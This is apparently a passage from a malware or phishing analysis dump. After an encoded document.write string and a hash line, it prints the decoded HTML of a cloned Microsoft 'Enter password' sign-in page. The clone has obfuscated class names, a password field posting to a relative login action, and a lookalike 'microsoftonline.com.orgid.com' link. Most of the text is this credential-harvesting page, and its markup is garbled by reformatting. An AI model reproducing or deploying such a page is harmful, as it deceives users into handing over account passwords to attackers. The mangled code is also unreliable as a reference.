65%20%3D%20%73%55%52%4C%56%61%72%69%61%62%6C%65%73%5B%69%5D%2E%73%70%6C%69%74%28%27%3D%27%29%3B%0A%20%20%20%20%20%20%20%20%69%66%20%28%73%50%61%72%61%6D%65%74%65%72%4E%61%6D%65%5B%30%5D%20%3D%3D%20%73%50%61%72%61%6D%29%0A%20%20%20%20%20%20%20%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6E%20%64%65%63%6F%64%65%55%52%49%43%6F%6D%70%6F%6E%65%6E%74%28%73%50%61%72%61%6D%65%74%65%72%4E%61%6D%65%5B%31%5D%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%7D%0A%09%3C%2F%73%63%72%69%70%74%3E%0A%20%20%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E%0A%0A")) < /script>
#2 JavaScript::Write (size: 59248) - SHA256: 30e990e092eb1c36d226a9809cfdfd3de59d9c50d9fdd7928b2c31dcf0cd1f77
< !DOCTYPE html >
    < html dir = "ltr"
class = ""
lang = "en" >
    < head >
    < meta http - equiv = "content-type"
content = "text/html; charset=UTF-8" >
    < title > Sign in to your account < /title> < meta http - equiv = "X-UA-Compatible"
content = "IE=edge" >
    < meta name = "viewport"
content = "width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes" >
    < meta http - equiv = "Pragma"
content = "no-cache" >
    < meta http - equiv = "Expires"
content = "-1" >
    < meta name = "PageID"
content = "ConvergedSignIn" >
    < meta name = "SiteID"
content = "" >
    < meta name = "ReqLC"
content = "1033" >
    < meta name = "LocLC"
content = "en-US" >
    < noscript >
    < meta http - equiv = "Refresh"
content = "0; URL=https://login.microsoftonline.com/jsdisabled" >
    < /noscript> < link rel = "shortcut icon"
href = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico" >
    < meta name = "robots"
content = "none" >
    < style >
    html {
        overflow: scroll;
        overflow - x: hidden;
    }::-webkit - scrollbar {
        width: 0 px;
        /* remove scrollbar space /
background: transparent; / optional: just make scrollbar invisible /
}
/ optional: show position indicator in red */
        ::-webkit - scrollbar - thumb {
            background: # FF0000;
        } < /style> < link crossorigin = "anonymous"
        href = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/cdnbundles/converged.v2.login.min_xu7km3oxm4bwp2b-mqyozg2.css"

        rel = "stylesheet"
        onerror = "$Loader.On(this,true)"
        onload = "$Loader.On(this)"

        integrity = "sha384-oeT7RE+jUqvrrN6tzkQqVkE1XiqysTeQdBVsLf8laIGpeReVI+Dac1mjekZRn1Lm" >
        <!--
        < script crossorigin = "anonymous"
        src = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/cdnbundles/oldconvergedlogin_pcore.min_ovxfjybbajctcw2kqlt2eg2.js"
        onerror = "$Loader.On(this,true)"
        onload = "$Loader.On(this)"
        integrity = "sha384-82QXVigHeXyO7aW4NBkcv0dbcJ0JUHwPqHD6SRr+KRD3hzdEvsKAt+3n1t1wbR+N" > < /script> < script crossorigin = "anonymous"
        src = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/cdnbundles/convergedloginpaginatedstrings-en.min_ojdp3evnemcetlncdp3r4w2.js"
        onerror = "$Loader.On(this,true)"
        onload = "$Loader.On(this)"
        integrity = "sha384-quWht0p82N7i0EkY4KTL6Bwo+g2sUH9qRIuVi/Yzy5EU2wY7XqqQ6lOMOTgNL9Pm" > < /script>--> < /head> < body data - bind = "defineGlobals: ServerData, bodyCssClass"
        class = "cb"
        style = " display: block;" > �
        < script type = "text/javascript" >
        //<![CDATA[
        /*  *
              ! function() {
                  var e = window,
                      o = e.document,
                      i = e.$Config || {};
                  if (e.self === e.top) o && o.body && (o.body.style.display = "block");
                  else if (!i.allowFrame) {
                      var s = e.self.location.href,
                          l = s.indexOf("#"),
                          n = -1 !== l,
                          t = s.indexOf("?"),
                          f = n ? l : s.length,
                          d = -1 === t || n && t > l ? "?" : "&";
                      s = s.substr(0, f) + d + "iframe-request-id=" + i.sessionId + s.substr(f), e.top.location = s
                  }
              }();
        /*  */
        //]]>
        < /script> < div class = "displayfullload" >
        <!--  -->
        < div data - bind = "component: { name: 'background-image', publicMethods: backgroundControlMethods }" >
        < div class = "background"
        role = "presentation"
        data - bind = "css: { app: isAppBranding }, style: { background: backgroundStyle }" >
        <!-- ko if: smallImageUrl -->
        < div data - bind = "backgroundImage: smallImageUrl()"
        style = "background-image: url(&quot;https://aadcdn.msftauth.net/ests/2.1/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg&quot;);" > < /div>
        <!-- /ko -->
        <!-- ko if: backgroundImageUrl -->
        < div class = "backgroundImage"
        data - bind = "backgroundImage: backgroundImageUrl()"

        style = "background-image: url(&quot;https://aadcdn.msftauth.net/ests/2.1/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg&quot;);" > < /div>
        <!-- ko if: useImageMask -->
        <!-- /ko -->
        <!-- /ko --> </div>
        < /div> < div data - bind = "if: activeDialog" > < /div> < form name = "f1"
        id = "i0281"
        novalidate = "novalidate"
        spellcheck = "false"
        method = "post"

        target = "_top"
        autocomplete = "off"
        data - bind = "autoSubmit: forceSubmit, attr: { action: postUrl }, ariaHidden: activeDialog"

        action = "/common/login" >
        <!-- ko if: svr.iBannerEnvironment -->
        <!-- /ko -->
        <!-- ko withProperties: { '$loginPage': $data } -->
        < div class = "outer"
        data - bind = "component: { name: 'page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden
        },
        event: {
            footerAgreementClick: footer_agreementClick
        }
    }
">
<!-- ko template: { nodes: $componentTemplateNodes, data: $parent } -->
<!-- ko if: svr.fShowCookieBanner -->
<!-- /ko -->
< div class = "background-logo-holder" > < /div> < br / > < div class = "middle"
data - bind = "css: { 'app': backgroundLogoUrl }" >
    <!-- ko if: backgroundLogoUrl() && !(paginationControlMethods() && paginationControlMethods().currentViewHasMetadata('hideLogo')) -->
    <!-- /ko --><img class="background-logo" role="presentation"

    data - bind = "attr: { src: backgroundLogoUrl }"
src = "https://aadcdn.msauth.net/ests/2.1/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png" > < br / >
    < div class = "inner"
data - bind = "	
animationEnd: paginationControlMethods() & amp; & amp;
paginationControlMethods().view_onAnimationEnd, css: {
    'app': backgroundLogoUrl,
    'wide': paginationControlMethods() & amp; & amp;paginationControlMethods().currentViewHasMetadata('wide'),
    'fade-in-lightbox': fadeInLightBox,
    'has-popup': showFedCredButton,
    'transparent-lightbox': backgroundControlMethods() & amp; & amp;backgroundControlMethods().useTransparentLightBox
}
"> < div class = "lightbox-cover"
data - bind = "css: { 'disable-lightbox': svr.fAllowGrayOutLightBox &amp;&amp; showLightboxProgress() }" > < /div> < div data - bind = "component: { name: 'logo-control',
params: {
    isChinaDc: svr.fIsChinaDc,
    bannerLogoUrl: bannerLogoUrl()
}
}
"> < img class = "logo"
pngsrc = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/microsoft_logo_ed9c9eb0dce17d752bedea6b5acda6d9.png"

svgsrc = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg"

data - bind = "imgSrc, attr: { alt: str['MOBILE_STR_Footer_Microsoft'] }"

src = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg"

alt = "Microsoft" > < /div>
    <!-- /ko -->
    <!-- ko if: svr.strLWADisclaimerMsg && (paginationControlMethods() && !paginationControlMethods().currentViewHasMetadata('hideLwaDisclaimer')) -->
    <!-- /ko -->
    < div class = "pass_section_xyz"
style = "display: none"
role = "main"
data - bind = "component: { name: 'pagination-control',
publicMethods: paginationControlMethods, params: {
    enableCssAnimation: svr.AZ,
    initialViewId: initialViewId,
    currentViewId: currentViewId,
    initialSharedData: initialSharedData,
    initialError: $loginPage.getServerError()
}, event: {
    cancel: paginationControl_onCancel,
    showView: $loginPage.view_onShow,
    setLightBoxFadeIn: view_onSetLightBoxFadeIn,
    animationStateChange: paginationControl_onAnimationStateChange
}
}
">
<!--  -->
< div data - bind = "css: { 'zero-opacity': hidePaginatedView() }" >
    <!-- ko if: showIdentityBanner() && (sharedData.displayName || svr.g) -->
    < div data - bind = "css: {
'animate': animate() & amp; & amp;
animate.animateBanner(), 'slide-out-next': animate.isSlideOutNext(),
    'slide-in-next': animate.isSlideInNext(), 'slide-out-back': animate.isSlideOutBack(),
    'slide-in-back': animate.isSlideInBack()
}
"> < div data - bind = "component: { name: 'identity-banner-control',
params: {
    pawnIconId: svr.bt,
    userTileUrl: svr.Bi,
    displayName: sharedData.displayName || svr.g,
    isBackButtonVisible: isBackButtonVisible(),
    focusOnBackButton: isBackButtonFocused(),
    backButtonDescribedBy: backButtonDescribedBy()
}, event: {
    backButtonClick: identityBanner_onBackButtonClick
}
}
">
<!--  -->
< div class = "identityBanner" >
    <!-- ko if: isBackButtonVisible -->
    <!-- /ko -->
    < div id = "displayName"
class = "identity"
data - bind = "text: unsafe_displayName, attr: { 'title': unsafe_displayName }"

title = "" > < /div>
    <!-- ko ifnot: svr.H -->
    <!-- /ko --> </div>
    < /div> < /div>
    <!-- /ko -->
    < div class = "pagination-view has-identity-banner"
data - bind = "css: {
'has-identity-banner': showIdentityBanner() & amp; & amp;
(sharedData.displayName || svr.g), 'zero-opacity': hidePaginatedView.hideSubView(),
    'animate': animate(), 'slide-out-next': animate.isSlideOutNext(),
    'slide-in-next': animate.isSlideInNext(), 'slide-out-back': animate.isSlideOutBack(),
    'slide-in-back': animate.isSlideInBack()
}
">
<!-- ko foreach: views -->
<!-- ko if: $parent.currentViewIndex() === $index() -->
<!-- /ko -->
<!-- ko if: $parent.currentViewIndex() === $index() -->
<!-- ko template: { nodes: [$data], data: $parent } -->
< div data - viewid = "2"
data - showidentitybanner = "true"
data - dynamicbranding = "true"

data - bind = "pageViewComponent: { name: 'login-paginated-password-view',
params: {
    serverData: svr,
    serverError: initialError,
    isInitialView: isInitialState,
    username: sharedData.username,
    displayName: sharedData.displayName,
    hipRequiredForUsername: sharedData.hipRequiredForUsername,
    passwordBrowserPrefill: sharedData.passwordBrowserPrefill,
    availableCreds: sharedData.availableCreds,
    flowToken: sharedData.flowToken,
    defaultKmsiValue: svr.w === 1,
    userTenantBranding: sharedData.userTenantBranding,
    sessions: sharedData.sessions,
    callMetadata: sharedData.callMetadata,
    gitHubRedirectUrl: sharedData.gitHubParams.redirectUrl || svr.M
}, event: {
    updateFlowToken: $loginPage.view_onUpdateFlowToken,
    submitReady: $loginPage.view_onSubmitReady,
    redirect: $loginPage.view_onRedirect,
    resetPassword: $loginPage.passwordView_onResetPassword,
    setBackButtonState: view_onSetIdentityBackButtonState,
    setPendingRequest: $loginPage.view_onSetPendingRequest
}
}
">
<!--  --> <input name="i13" data-bind="value: isKmsiChecked() ? 1 : 0"

value = "0"
type = "hidden" > < input class = "login_name_xyz"

name = "login"
data - bind = "value: unsafe_username"
value = ""

type = "hidden" > < input name = "loginfmt"
data - bind = "moveOffScreen, value: unsafe_displayName"

class = "moveOffScreen"
tabindex = "-1"
aria - hidden = "true"
type = "text" >
    < input name = "type"
data - bind = "value: svr.ao ? 20 : 11"
value = "11"

type = "hidden" > < input name = "LoginOptions"
data - bind = "value: isKmsiChecked() ? 1 : 3"

value = "3"
type = "hidden" > < input name = "lrt"
data - bind = "value: callMetadata.IsLongRunningTransaction"

value = ""
type = "hidden" > < input name = "lrtPartition"
data - bind = "value: callMetadata.LongRunningTransactionPartition"

value = ""
type = "hidden" > < input name = "hisRegion"
data - bind = "value: callMetadata.HisRegion"

value = ""
type = "hidden" > < input name = "hisScaleUnit"
data - bind = "value: callMetadata.HisScaleUnit"

value = ""
type = "hidden" >
    < div id = "loginHeader"
class = "row text-title"
role = "heading"

aria - level = "1"
data - bind = "text: str['CT_PWD_STR_EnterPassword_Title']" > Enter
password < /div>
    <!-- ko if: unsafe_pageDescription -->
    <!-- /ko -->
    < div class = "row" >
    < div class = "form-group col-md-24" >
    < div role = "alert"
class = "aria-live="
assertive "="
">
<!-- ko if: usernameTextbox.error -->
< div class = "alert alert-error col-md-24 alert_msg_yxq alert_email_sect"

style = "display: none;"
id = "usernameError"
data - bind = "
htmlWithBindings: usernameTextbox.error, childBindings: {
    'idA_PWD_SignUp': {
        href: svr.urlSignUp,
        click: signup_onClick
    },
    'otherIdpLogin': {
        href: svr.urlGoToAADError,
        click: otherIdpLogin_onClick
    }
}
">
We couldn 't find an account with that username.
Try another, or < a id = "idA_PWD_SignUp"
href = "https://login.live.com/oauth20_authorize.srf?response_type=code&amp;client_id=51483342-085c-4d86-bf88-cf50c7252078&amp;scope=openid+profile+email+offline_access&amp;response_mode=form_post&amp;redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2&amp;state=rQIIAeNisNLJKCkpKLbS1y_ILypJzNHLzUwuyi_OTyvJz8vJzEvVS87P1csvSs9MAbGKhLgE5N-HsRnaz3GZ3Nb0o0aAj2MWI2d8TmYZWOUqRmXCxulfYGR8wch4i0nQvyjdMyW82C01JbUosSQzP-8Ci8ArFh4DZisODi4BBgkGBYYfLIyLWIG2Rik0X16_dbXTrqAUuYQeZ4ZTrPpRVd4W-b7mmV4ppv5hlW6-lqaluRYWHrl5XtppBkXhQUUhmQElZWVGAaGBtqZWhhPYhCawMZ1iY_jAxtjBznCAk_EWl4iRgaGlroGRroGJgoGllZGRlbFRFAA1&amp;estsfed=1&amp;uaid=0656ef1f3f31449c938682f87c100e08&amp;signup=1&amp;lw=1&amp;fl=easi2&amp;fci=https%3a%2f%2fportal.microsoftonline.com.orgid.com" >
    get a new Microsoft account < /a>.</div >
    <!-- /ko --> </div>
    < div class = "placeholderContainer"
data - bind = "component: { name: 'placeholder-textbox',
publicMethods: passwordTextbox.placeholderTextboxMethods, params: {
        serverData: svr,
        hintText: str['CT_PWD_STR_PwdTB_Label']
    },
    event: {
        updateFocus: passwordTextbox.textbox_onUpdateFocus
    }
}
">
<!-- ko withProperties: { '$placeholderText': placeholderText } -->
<!-- ko template: { nodes: $componentTemplateNodes, data: $parent } -->
< input name = "passwd"
id = "i0118"
autocomplete = "off"
class = "form-control"

aria - describedby = "passwordError loginHeader passwordDesc"

aria - required = "true"
data - bind = "
textInput: passwordTextbox.value, hasFocusEx: passwordTextbox.focused,
    placeholder: $placeholderText, ariaLabel: unsafe_passwordAriaLabel,
    css: {
        'has-error': passwordTextbox.error
    }
" placeholder="
Password "

aria - label = "Enter the password for "
type = "password" >
    <!-- /ko -->
    <!-- /ko -->
    <!-- ko ifnot: usePlaceholderAttribute -->
    <!-- /ko --> </div>
    < /div> < /div>
    <!-- ko if: svr.Ab && showHip -->
    <!-- /ko -->
    < div data - bind = "invertOrder: svr.bd, css: { 'position-buttons': !tenantBranding.BoilerPlateText }"

class = "position-buttons" >
    < div >
    <!-- ko if: svr.bG -->
    <!-- /ko -->
    <!-- ko if: svr.aC !== false && !svr.bG && !tenantBranding.KeepMeSignedInDisabled -->
    < div id = "idTd_PWD_KMSI_Cb"
class = "form-group checkbox text-block-body no-margin-top"

data - bind = "visible: !svr.F &amp;&amp; !showHip" > < label

id = "idLbl_PWD_KMSI_Cb" > < input name = "KMSI"
id = "idChkBx_PWD_KMSI0Pwd"

data - bind = "checked: isKmsiChecked, ariaLabel: str['CT_PWD_STR_KeepMeSignedInCB_Text']"

aria - label = "Keep me signed in"
type = "checkbox" >
    < span data - bind = "text: str['CT_PWD_STR_KeepMeSignedInCB_Text']" > Keep
me signed in < /span> </label > < /div>
    <!-- /ko -->
    < div class = "row" >
    < div class = "col-md-24" >
    < div class = "text-13 action-links" >
    < div class = "form-group" > < a id = "idA_PWD_ForgotPassword"

role = "link"
href = "https://account.live.com/ResetPassword.aspx?wreply=https://login.live.com/oauth20_authorize.srf%3fresponse_type%3dcode%26client_id%3d51483342-085c-4d86-bf88-cf50c7252078%26scope%3dopenid%2bprofile%2bemail%2boffline_access%26response_mode%3dform_post%26redirect_uri%3dhttps%253a%252f%252flogin.microsoftonline.com%252fcommon%252ffederation%252foauth2%26state%3drQIIAeNisNLJKCkpKLbS1y_ILypJzNHLzUwuyi_OTyvJz8vJzEvVS87P1csvSs9MAbGKhLgEOhzkFBYXR3m11Zle3FvBmjCLkTM-J7MMrHIVozJh4_QvMDK-YGS8xSToX5TumRJe7JaaklqUWJKZn3eBReAVC48BsxUHB5cAgwSDAsMPFsZFrEBb40pDQg3r0t0nbto2zWOTN8MpVv2oKm-LfF_zTK8UU_-wSjdfS9PSXAsLj9w8L-00g6LwoKKQzICSsjKjgNBAWwsrwwlsQhPYmE6xMXxgY-xgZzjAyXiLS8TIwNBS18BI18BEwcDCysTCytgkCgA1%26estsfed%3d1%26uaid%1E6qZkzbGZHh9hWF4dQcTUdbmsYkvBYPrR%26fci%3dhttps%253a%252f%252fportal.microsoftonline.com.orgid.com%26username%3d%26contextid%3d34A42CC81359F79A%26bk%3d1549270157&amp;id=293577&amp;uiflavor=web&amp;client_id=1E00004417ACAE&amp;mkt=EN-US&amp;lc=1033&amp;bk=1549270157"

data - bind = "text: str['CT_PWD_STR_ForgotPwdLink_Text'], href: svr.n, click: resetPassword_onClick" > Forgot
my password < /a> </div >
    <!-- ko if: allowPhoneDisambiguation -->
    <!-- /ko -->
    <!-- ko component: { name: "cred-switch-link-control",
    params: {
        serverData: svr,
        username: username,
        availableCreds: availableCreds,
        flowToken: flowToken,
        currentCred: {
            credType: 1
        }
    },
    event: {
        switchView: credSwitchLink_onSwitchView,
        setPendingRequest: credSwitchLink_onSetPendingRequest,
        updateFlowToken: credSwitchLink_onUpdateFlowToken
    }
} -->
<!--  -->
< div class = "form-group" >
    <!-- ko if: credentialCount > 1 || (credentialCount === 1 && (showForgotUsername || selectedCredShownOnlyOnPicker)) -->
    <!-- /ko -->
    <!-- ko if: credentialCount === 1 && !(showForgotUsername || selectedCredShownOnlyOnPicker) -->
    <!-- /ko -->
    <!-- ko if: credentialCount === 0 && showForgotUsername -->
    <!-- /ko --> </div>
    <!-- ko if: credLinkError -->
    <!-- /ko -->
    <!-- /ko -->
    <!-- ko if: showChangeUserLink -->
    <!-- /ko --> </div>
    < /div> < /div> < /div> < div class = "row"
data - bind = "css: { 'move-buttons': tenantBranding.BoilerPlateText }" >
    < div data - bind = "component: { name: 'footer-buttons-field',
params: {
    serverData: svr,
    primaryButtonText: str['CT_PWD_STR_SignIn_Button'],
    isPrimaryButtonEnabled: !isRequestPending(),
    isPrimaryButtonVisible: svr.G,
    isSecondaryButtonEnabled: true,
    isSecondaryButtonVisible: svr.G & amp; & amp;isBackButtonVisible() & amp; & amp;!svr.H
}, event: {
    primaryButtonClick: primaryButton_onClick,
    secondaryButtonClick: secondaryButton_onClick
}
}
"> < div class = "col-xs-24 no-padding-left-right form-group no-margin-bottom button-container"

data - bind = "
visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(), css: {
    'no-margin-bottom': removeBottomMargin || svr.bd,
    'button-container': svr.bd
}
">
<!-- ko if: isSecondaryButtonVisible -->
<!-- /ko -->
< div data - bind = "
css: {
    'inline-block': svr.bd,
    'col-xs-12 primary': isSecondaryButtonVisible() & amp; & amp;!svr.bd,
    'col-xs-24': !(isSecondaryButtonVisible() || svr.bd)
}
"

class = "inline-block" > < input id = "idSIButton9"
class = "btn btn-block btn-primary button_one"

data - bind = "
attr: {
        'id': primaryButtonId || 'idSIButton9',
        'aria-describedby': primaryButtonDescribedBy
    }, value: primaryButtonText() || str['CT_PWD_STR_SignIn_Button_Next'],
    hasFocus: focusOnPrimaryButton, click: primaryButton_onClick,
    enable: isPrimaryButtonEnabled, visible: isPrimaryButtonVisible,
    preventTabbing: primaryButtonPreventTabbing " value="
Sign in " type="
submit "> < /div> < div style = "float: right; padding-left: 5px; padding-top: 4px; display: none;"

class = "ldsddddd" > < img src = "data:image/gif;base64,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" >
    < /div> < /div> < /div> < /div> < /div>
    <!-- ko if: tenantBranding.BoilerPlateText -->
    <!-- /ko --> </div>
    <!-- /ko -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
